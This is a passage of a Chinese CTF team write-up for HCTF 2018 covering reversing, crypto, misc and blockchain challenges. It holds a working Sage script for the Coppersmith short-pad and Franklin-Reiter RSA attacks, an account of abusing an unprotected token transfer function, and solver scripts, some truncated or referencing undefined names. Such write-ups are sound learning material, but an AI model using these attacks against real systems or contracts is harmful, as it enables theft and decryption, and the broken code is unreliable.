给自己提个醒，一共有6个多解，事实上也是可以接受的
z3的约束求解只会掏出一个可行解，要跑出所有解需要自己另行去重
以前也做过类似的操作，只不过不像这次使用的去重代码更通用
以后使用z3时最好都考虑上多解的可能

由于大量函数直接从IDA中复制，因此一些代码会比较丑陋，XD见谅

```
data = [0x07, 0xE7, 0x07, 0xE4, 0x01, 0x19, 0x03, 0x50, 0x07, 0xE4, 0x01, 0x20, 0x06, 0xB7, 0x07, 0xE4, 0x01, 0x22, 0x00, 0x28
flag = ""
for i in range(46):
   v = data[i*2]
   v1 = data[i*2+1]
   if(v==0):
       v1 -= 34
   elif(v==1):
       v1 -= 19
   elif(v==2):
       v1 -= 70
   elif(v==3):
       v1 -= 66
   elif(v==4):
       v1 ^= 0xca
   elif (v == 5):
       v1 ^= 0xfe
   elif (v == 6):
       v1 ^= 0xbe
   elif (v == 7):
       v1 ^= 0xef
   data[i*2+1] = v1
   flag += chr((v1<<3)|v)
print(flag)


def final_check(x):
   for i in x:
       s.add(i>0, i<10)
   for i in range(9):
       for j in range(i+1, 9):
           ## print(x[i]!=x[j])
           s.add(x[i]!=x[j])

def invd(x):
   if(x==0x4433):
       for i in range(5):
           table[2*i], table[2*i+1] = table[2*i+1], table[2*i]
   elif(x==0x4434):
       buff = table[0]
       for i in range(9):
           table[i] = table[i+1]
       table[9] = buff
   elif(x==0x4437):
       v4 = table[7]
       for k in range(3):
           table[k+7] = table[7-k-1]
           if(k==2):
               table[7-k-1] = table[3]
           else:
               table[7-k-1] = table[k+7+1]
       table[3] = table[3-0-2]
       table[3-0-2] = table[3-0-1]
       table[3-1-1] = v4

def read_msr(x):
   if(x==374):
       v3 = output[76]
       v4 = output[36]
       for i in range(8, 0, -1):
           output[9*i+4] = output[9*(i-1)+4]
       output[4] = v3
       for i in range(8):
           output[36+i] = output[37+i]
       output[44] = v4
   elif(x==372):
       v6 = output[80]
       v7 = output[8]
       for i in range(8, 0, -1):
           output[10*i] = output[10*(i-1)]
       output[0] = v6
       for j in range(1, 9):
           output[8*j] = output[8*j+8]
       output[8*9] = v7

def vmcall(x):
   command = x>>24
   index = (x>>16)
   index = (index&0xf)+9*((index&0xf0)>>4)
   cho = (x>>8)&0xff
   x = x&0xff
   ## c[x] = 1
   if(cho==0xcc):
       l = a
   else:
       l = a[::-1]
   ## print(index, command, table, output)
   if (command == table[0]):
       output[index] = l[x]
   elif (command == table[1]):
       output[index] += l[x]
   elif (command == table[2]):
       output[index] -= l[x]
   elif (command == table[3]):
       output[index] = output[index]/l[x]
   elif (command == table[4]):
       output[index] *= l[x]
   elif (command == table[5]):
       output[index] ^= l[x]
   elif (command == table[6]):
       output[index] ^= l[x]+l[x-1]-l[x+1]
   elif (command == table[7]):
       output[index] ^= l[x]*16
   elif (command == table[8]):
       output[index] |= l[x]
   elif (command == table[9]):
       output[index] ^= l[x+1]^l[x-1]^(l[x-2] + l[x] - l[x+2])
   else:
       print("Error: %d"%x)
   output[index] &= 0xff


from z3 import *
s = Solver()
a = [BitVec("a%d"%i, 32) for i in range(27)]
for i in a:
   s.add(i>32, i<127)
c = [0 for i in range(81)]
table = [163, 249, 119, 166, 193, 199, 78, 209, 81, 255]
t1 = [147, 200, 69, 149, 245, 242, 120, 230, 105, 198]
t2 = [144, 205, 64, 150, 240, 254, 120, 227, 100, 199]
output = [7, 206, 89, 35, 9, 5, 3, 1, 6, 2, 6, 5, 125, 86, 240, 40, 4, 89, 77, 77, 75, 83, 9, 1, 15, 87, 8, 211, 56, 111, 665,
## init
v6 = output[40];
for i in range(4):
   output[8 * i + 40] = output[8 * i + 40-1];
   for j in range(2*i+1):
     output[3 - i + 9 * (i + 4 - j)] = output[3 - i + 9 * (i + 4 - (j + 1))];
   for k in range(2*i+2):
     output[k + 9 * (3 - i) + 3 - i] = output[10 * (3 - i) + k + 1];
   for l in range(2*i+2):
     output[9 * (l + 3 - i) + i + 5] = output[9 * (3 - i + l + 1) + i + 5];
   for m in range(2*i+2):
     output[9 * (i + 5) + i + 5 - m] = output[9 * (i + 5) + i + 5 - (m + 1)];
output[72] = v6;

## cpuid==0xCAFEBABE
## for i in range(10):
##     table[i] ^= t1[i]
## invd(0x4437)

## cpuid==0xDEADBEEF
for i in range(10):
   table[i] ^= t2[i]
invd(0x4437)
read_msr(372)

read_msr(374)
invd(0x4433)
vmcall(0x30133403);
vmcall(0x3401CC01);
vmcall(0x36327A09);
vmcall(0x3300CC00);
vmcall(0x3015CC04);
vmcall(0x35289D07);
vmcall(0x3027CC06);
vmcall(873647107);
vmcall(807849222);
vmcall(872947457);
vmcall(856802050);
vmcall(908446725);
vmcall(959499271);
vmcall(925144069);
vmcall(872575488);
vmcall(958622468);
vmcall(875655944);
vmcall(923061250);
invd(0x4434);
vmcall(944971537);
vmcall(875940873);
vmcall(943901706);
vmcall(892914443);
vmcall(928041997);
vmcall(910258445);
vmcall(945146895);
vmcall(928500752);
vmcall(926941196);
vmcall(826736911);
vmcall(826723339);
vmcall(927138318);
vmcall(909512458);
vmcall(827509774);
vmcall(877960210);
vmcall(877728016);
vmcall(877186060);
vmcall(909364232);
invd(0x4437);
vmcall(813747223);
vmcall(930360342);
vmcall(846318612);
vmcall(964938777);
vmcall(880982807);
vmcall(895990805);
vmcall(830997530);
vmcall(0x3965CC12);
vmcall(0x32869C19);
vmcall(0x3785CC1A);
vmcall(0x3281CC18);
vmcall(0x3262DC14);
vmcall(0x3573CC15);
vmcall(0x37566613);
vmcall(0x3161CC11);
vmcall(0x3266CC13);
vmcall(0x39844818);
vmcall(0x3777CC16);
## print(output)
## check = [4, 5, 6, 7, 8, 21, 23, 39, 55]
check = [0, 1, 2, 3, 18, 19, 20, 35, 36, 4, 5, 6, 7, 8, 21, 23, 39, 55, 16, 32, 48, 49, 64, 80, 81, 82, 96, 17, 33, 34, 50, 51
for j in range(9):
   v5 = [0 for i in range(9)]
   for i in range(9):
       v5[i] = output[((check[i+9*j]&0xf0)>>4)*9 + (check[i+9*j]&0xf)]
   print(v5)
   final_check(v5)
print(s.check())
## ■■■■■■■■
while(s.check()==sat):
   m = s.model()
   flag2 = ""
   for i in a:
       flag2 += chr(m[i].as_long())
   print(flag2)
   exp = []
   for val in a:
       exp.append(val!=m[val])
   s.add(Or(exp))
```

LuckyStar

在TlsCallback中实现了GetProcAddressByHash进行反调试
下文通过lstrcmpW比较进程名来反调试
全部跳过以后以0x61616161作为种子，然后用随机数来解sub_401780的SMC

直接通过即可
另外值得一提的是绕过反调试的时候不知道为什么导致了栈中有了16个字节的偏移，需要自己修复

然后在sub_401780中开启了一个线程播放音乐，主线程会通过Sleep阻塞住等待音乐播放完毕
之后再次用随机数来解sub_4015E0的SMC
在接收29个字节的输入以后，送入sub_4015E0中进行运算，最后跟0x403520处的数组进行比较

这里跟了几次，sub_4015E0都解码失败
这说明中间可能还有某个地方偷偷做了rand()或者srand()

于是进行动调，跑起来以后在rand()和srand()中下断，果然断到

```
if ( (_BYTE)v4 )
   v5 = 0x10001165;
 else
   v5 = 0x68637466;
 v2 = v1 - 17044;
 (*(void (__cdecl **)(signed int))(v1 - 17044))(v5);
 (*(void (**)(void))(v2 - 4))();
```

sub_402510处还分别调用了一次srand和rand，这里的v4显然是反调，调试状态下会使得种子为`0x10001165`，于是我们令其等于`0x68637466`也就是`hctf`，即可解码su

前半段显然是一个base64，看了一下表只是大小写互换了
后半段则又是调用了rand()，每次取低2位，然后逐个填充字符
这里动调令output为0x00，然后直接dump数据即可

最后求解就是输出内容和随机数据异或后解b64
另外由于输入只要29个字符，导致b64解时出现了不足位的问题，尝试补了等于号都不行，于是就删了一个字符，最后明文补'}'即可
目测dump的时候多拿点数据、到32个字节时应该也能解出吧

```
xor = [0x08, 0x81, 0x39, 0x8D, 0x40, 0x09, 0x42, 0x14, 0xD0, 0xF2,
 0x98, 0x66, 0x33, 0xD6, 0xC9, 0xB2, 0xC1, 0x95, 0xB6, 0x1E,
 0xC7, 0x2D, 0x1C, 0xEF, 0xD2, 0xB2, 0x5F, 0x66, 0x8C]
ori = [ 0x49, 0xE6, 0x57, 0xBD, 0x3A, 0x47, 0x11, 0x4C, 0x95, 0xBC,
 0xEE, 0x32, 0x72, 0xA0, 0xF0, 0xDE, 0xAC, 0xF2, 0x83, 0x56,
 0x83, 0x49, 0x6E, 0xA9, 0xA6, 0xC5, 0x67, 0x3C, 0xCA, 0xC8,
 0xCC, 0x05]
import string
from base64 import b64decode
flag2 = ""
for i in range(29):
   v = (chr(ori[i]^xor[i]))
   if(v in string.ascii_uppercase):
       v = v.lower()
   elif(v in string.ascii_lowercase):
       v = v.upper()
   flag2 += v
print(flag2)
print(b64decode(flag2.encode()[:-1]))
```

Seven

这是一个64位的驱动，代码量相对不大
从DriverEntry进去各个函数看一下，只有sub_140001210里有一些引人注意的东西

```
v7[-1].CompletionRoutine = (PIO_COMPLETION_ROUTINE)sub_1400012F0;
```

这个成员是完成例程，查了一下大体上是有事件的时候交给它处理
第一个参数没有引用直接忽略，第二个参数多次调用，于是搜了一下，发现是Irp指针，按Y指定类型以后可以识别出很多成员名帮助分析
然而有一个地方，`AssociatedIrp`这个union，IDA的结构体和msdn的不同，有点没搞明白，之后有空再调试学习一下

这个其实问题不大，可以之后再说
主逻辑代码量也不大，比较清晰

根据input_pointer的值来修改l_index，分别有-1、+1、-0x10、+0x10四种情况，还有一些边界处理，可以忽略
那么根据上下移动的大小为0x10可以猜出地图宽度为0x10，于是扒出0x140003000处的地图并重绘

```
****************
o..............*
**************.*
************...*
***********..***
**********..****
*********..*****
********..******
*******..*******
******..********
*****..*********
****..**********
****7***********
****************
```

通过提示字符串显然要求终点为7
其他部分可以看出来，所在点是o，碰到*就gameover，离开的地方会重绘为.
那么很容易可以得到移动路径：

```
14*→ + 2*↓ + ← + 9*(← + ↓)
```

下一个问题就是怎么处理得到输入
判定值分别为0x11, 0x1e, 0x1f, 0x20，显然不是输入的ASCII
这里就要重新回到驱动的部分了

input_pointer每次后移12个字节（默认IDA是作为Word*来考虑，因此会显示+6），那么显然这是一个12个字节的结构，程序只要通过第一个字节就能识别出输入

思考了一阵子没有得到结果，于是Google一下
用■■`IRP 0xc AssociatedIrp`的关键词搜到了键盘驱动的文章

> 一个KEYBOARD_INPUT_DATA 的大小为0xc，所以Irp->AssociatedIrp.SystemBuffer ...

很显然，这里是通过KEYBOARD_INPUT_DATA来获取输入的
又查了一下它的值，发现每个键是有两个字节的，不过第一个字节就足够区分按键，分别是`wasd`的INPUT_DATA

于是

```
print(14*"d"+2*"s"+"a"+9*"as")
```

得到flag

PolishDuck

跟Pwnhub血月归来中的Re一题完全一样
用hex2bin转换成二进制，然后IDA装载
根据RESET函数中的`(r31<<8)+r30`找到RAM段，`(0xf0<<8)+r17-0x100`找到长度，dump出来或者直接用IDA读文件即可

关键部分在sub_9A8中，恢复出delay和print两个函数以后，根据print的参数依次打印、eval并转hex，tostring即可
其中print的参数为RAM段的偏移

```
with open(r"PolishDuck (1).bin", "rb") as f:
   data = f.read()
table = data[0x1a50:0x1a50+0x4f0-0x100]
def p(x):
   x -= 0x100
   buff = ""
   while(table[x]!=0):
       buff += chr(table[x])
       x += 1
       ## print(table[x])
   return buff
exp = ""
## exp += (p(0x140 ))
exp += (p(0x14C ))
exp += (p(0x153 ))
exp += (p(0x162 ))
exp += (p(0x177 ))
exp += (p(0x18B))
exp += (p(0x1A9))
exp += (p(0x1C8))
exp += (p(0x1D3))
exp += (p(0x1EB))
exp += (p(0x1FE))
exp += (p(0x25E ))
exp += (p(0x207))
exp += (p(0x21C))
exp += (p(0x227 ))
exp += (p(0x246 ))
exp += (p(0x261 ))
exp += (p(0x270 ))
exp += (p(0x28B))
exp += (p(0x298))
exp += (p(0x2A3))
exp += (p(0x2B1))
exp += (p(0x25C ))
exp += (p(0x2BA))
exp += (p(0x2C5))
exp += (p(0x2D0))
exp += (p(0x2D7))
exp += (p(0x2F2))
exp += (p(0x307))
exp += (p(0x310))
exp += (p(0x25E ))
exp += (p(0x327 ))
exp += (p(0x346 ))
exp += (p(0x3DC))
exp += (p(0x34D ))
exp += (p(0x364 ))
exp += (p(0x373 ))
exp += (p(0x38F))
exp += (p(0x3A6))
exp += (p(0x3B3))
exp += (p(0x3BF))
exp += (p(0x3D0))
exp += (p(0x3DF))
exp += (p(0x3EF))
exp += (p(0x400))
exp += (p(0x44B ))
exp += (p(0x413))
exp += (p(0x42C ))
exp += (p(0x43B ))
exp += (p(0x44F ))
exp += (p(0x452 ))
exp += (p(0x490))
exp += (p(0x45F ))
exp += (p(0x46C ))
exp += (p(0x47D ))
exp += (p(0x48E))
exp += (p(0x497))
exp += (p(0x49E))
exp += (p(0x4B5))
exp += (p(0x4CB))
exp += (p(0x445 ))
exp += (p(0x445 ))
exp += (p(0x4D6))
exp += (p(0x44D ))
exp += (p(0x44D ))
exp += (p(0x494))
exp += (p(0x4E5))
exp += (p(0x44f))
print(exp)
print(bytes.fromhex(hex(eval(exp))[2:]))
## print(table[0x110])
```

Crypto

xor

flag当key复用，首先3字符测试出长度为21，然后找到每个位置能够使得密文解密后全部可见并且e最多的可能字符，然后人工修正即可获得flag：

```
a="ciMbOQxffx0GHQtSBB0QSQIORihXVQAUOUkHNgQLVAQcAVMAAAMCASFEGQYcVS8BNh8BGAoHFlMAABwCTSVQC2UdMQx5FkkGEQQAAVMAAQtHRCNLF0NSORscMkk


js=[0]*32

c=a.decode("base64")
for i in range(len(c)-4):
   try3=c[i:i+3]
   for j in range(i+1,len(c)-3):
       if c[j:j+3]==try3:
           print j-i
           for x in range(10,32):
               if (j-i) % x==0:
                   js[x]+=1

print js
for i in range(32):
   print i,js[i]

###21
already=[]
for i in c:
   if i not in already:
       already.append(i)
print len(already)

import string
from Crypto.Util.strxor import strxor

def guess(position):
   possible=[]
   calc_e=[]
   for i in string.printable:
       js = 0
       all = 0
       tmp=""
       for j in range(position,len(c),21):
           if strxor(i,c[j]) in string.printable:
               js+=1
           all+=1
           tmp+=strxor(i, c[j])
       if js==all:
           possible.append(i)
           jj=0
           for x in tmp:
               if x =='e':
                   jj+=1
           calc_e.append(jj)
   return possible,calc_e
for i in range(21):
   possible, calc_e = guess(i)
   for i in range(len(possible)):
       if calc_e[i]>=5:
           print possible[i],
   print
```

xor?rsa

公钥长度为2048bit，随机生成消息m1，m1与一个40bit的随机数异或生成m2。这里m2和m1可以考虑为m1的高2008个bit经过填充获得，所以考虑使用Coppersmith’s Short Pad Attack和 Franklin-Reiter Related Message Attack来恢复m1和m2。

□ 使用脚本

```
# coppersmiths_short_pad_attack.sage

def short_pad_attack(c1, c2, e, n):
   PRxy.<x,y> = PolynomialRing(Zmod(n))
   PRx.<xn> = PolynomialRing(Zmod(n))
   PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

   g1 = x^e - c1
   g2 = (x+y)^e - c2

   q1 = g1.change_ring(PRZZ)
   q2 = g2.change_ring(PRZZ)
   h = q2.resultant(q1)
   h = h.univariate_polynomial()
   h = h.change_ring(PRx).subs(y=xn)
   h = h.monic()

   kbits = n.nbits()//(2*e*e)
   diff = h.small_roots(X=2^kbits, beta=0.5)[0]  # find root < 2^kbits with factor >= n^0.5

   return diff

def related_message_attack(c1, c2, diff, e, n):
   PRx.<x> = PolynomialRing(Zmod(n))
   g1 = x^e - c1
   g2 = (x+diff)^e - c2

   def gcd(g1, g2):
       while g2:
           g1, g2 = g2, g1 % g2
       return g1.monic()

   return -gcd(g1, g2)[0]

if __name__ == '__main__':
   print "aaa"
   n =
   c1 =
   c2 =
   e = 5

   nbits = n.nbits()
   kbits = nbits//(2*e*e)
   print "upper %d bits (of %d bits) is same" % (nbits-kbits, nbits)

   # ^^ = bit-wise XOR
   # http://doc.sagemath.org/html/en/faq/faq-usage.html#how-do-i-use-the-bitwise-xor-operator-in-sage

   diff = short_pad_attack(c1, c2, e, n)
   print "difference of two messages is %d" % diff

   m1 = related_message_attack(c1, c2, diff, e, n)
   print 'hhhha'
   print m1
   print m1 + diff
```

Misc

Freq game

利用FFT求频域分量

```
import numpy as np
from pwn import *
import json

Fs=1500
T=1.0/Fs
L=1500
t = np.linspace(0,1,L)

p = remote('150.109.119.46',6775)
log.info(p.recvuntil('this is a sample game'))
log.info(p.recvuntil('hint:'))
p.sendline('y')
log.info(p.recvuntil('input your token:'))
p.sendline('Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa')
for i in range(8):
   data=p.recvuntil(']')
   S=json.loads(data)
   Y=np.fft.fft(S)
   P2=np.abs(Y/L)
   P1=P2[0:(L/2+1)]
   res=[]
   for i in range(len(P1)):
       if P1[i]>3:
           res.append(str(i))
   print(res)
   p.send(' '.join(res))

print(p.recv(1024))
```

difficult programming language

获取 usb 数据:
tshark -r difficult_programming_language.pcap -T fields -e usb.capdata -Y 'usb.capdata && usb.transfer_type == 0x01 && frame.len == 35 && !(usb.capdata == 00:00:00:00:00:00:00:00)' >cap.txt

然后用如下脚本跑一下即可:

```
#! /usr/bin/env python3
#! -*- coding:utf-8 -*-

alphamap = {hex(i)[2:].zfill(2).upper() : [chr(i - 4 + ord('a')), chr(i - 4 + ord('A'))] for i in range(0x4, 0x4 + 26)}
nummap = { "1E":["1", "!"], "1F":["2", "@"], "20":["3", "#"], "21":["4", "$"], "22":["5", "%"],
       "23":["6", "^"], "24":["7", "&"], "25":["8", "*"], "26":["9", "("], "27":["0", ")"]}
othermap = { "1E":["1", "!"], "1F":["2", "@"], "20":["3", "#"], "21":["4", "$"], "22":["5", "%"],
       "23":["6", "^"], "24":["7", "&"], "25":["8", "*"], "26":["9", "("], "27":["0", ")"],
       "28":"<ENTER>", "29":"<ESC>", "2A":"<DEL>", "2B":"<TAB>",
       "2C":" ",
       "2D":["-", "_ "], "2E":["=", "+"], "2F":["[","{"], "30":["]","}"], "31":["\\","|"],
       "32":"<?>",
       "33":[";",":"], "34":["'",'"'], "35":["`","~"], "36":[",","<"], "37":[".",">"],
       "38":["/","?"] }
usbmap = {**alphaidx, **numidx, **otheridx}

rst = list()
with open("cap.txt", "r") as _:
   for line in _.readlines():
       vals = line.split(":")
       ctrl, key = vals[0], vals[2].upper()
       if key == "00": continue
       if key in usbmap.keys():
           if int(ctrl) == 2 :
               presskey = usbmap[key][1] if len(usbmap[key]) > 1 else "<?>"
           else:
               presskey = usbmap[key][0]
           rst.append(presskey)
       else:
           print("<??> => {:s}".format(key))
print(''.join(rst[:-1]))
```

主要是控制字符也需要正确处理. 然后到 http://malbolge.doleczek.pl/ 跑一下就行了

blockchain

ez2win

开始说要逆向，我连看都没看，后来给了源码，就是2分钟的事情了==
审计，发现存在如下函数

```
function _transfer(address from, address to, uint256 value) {
   require(value <= _balances[from]);
   require(to != address(0));
   require(value <= 10000000);

   _balances[from] = _balances[from].sub(value);
   _balances[to] = _balances[to].add(value);
 }
```

可以未授权直接运行，而合约创建者有：

```
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));
```

这么多的token，直接trasfer到我的账户上，然后payforflag就行了

上一篇：HCTF2018 Writeup ... 下一篇：HCTF2018 Writeup ...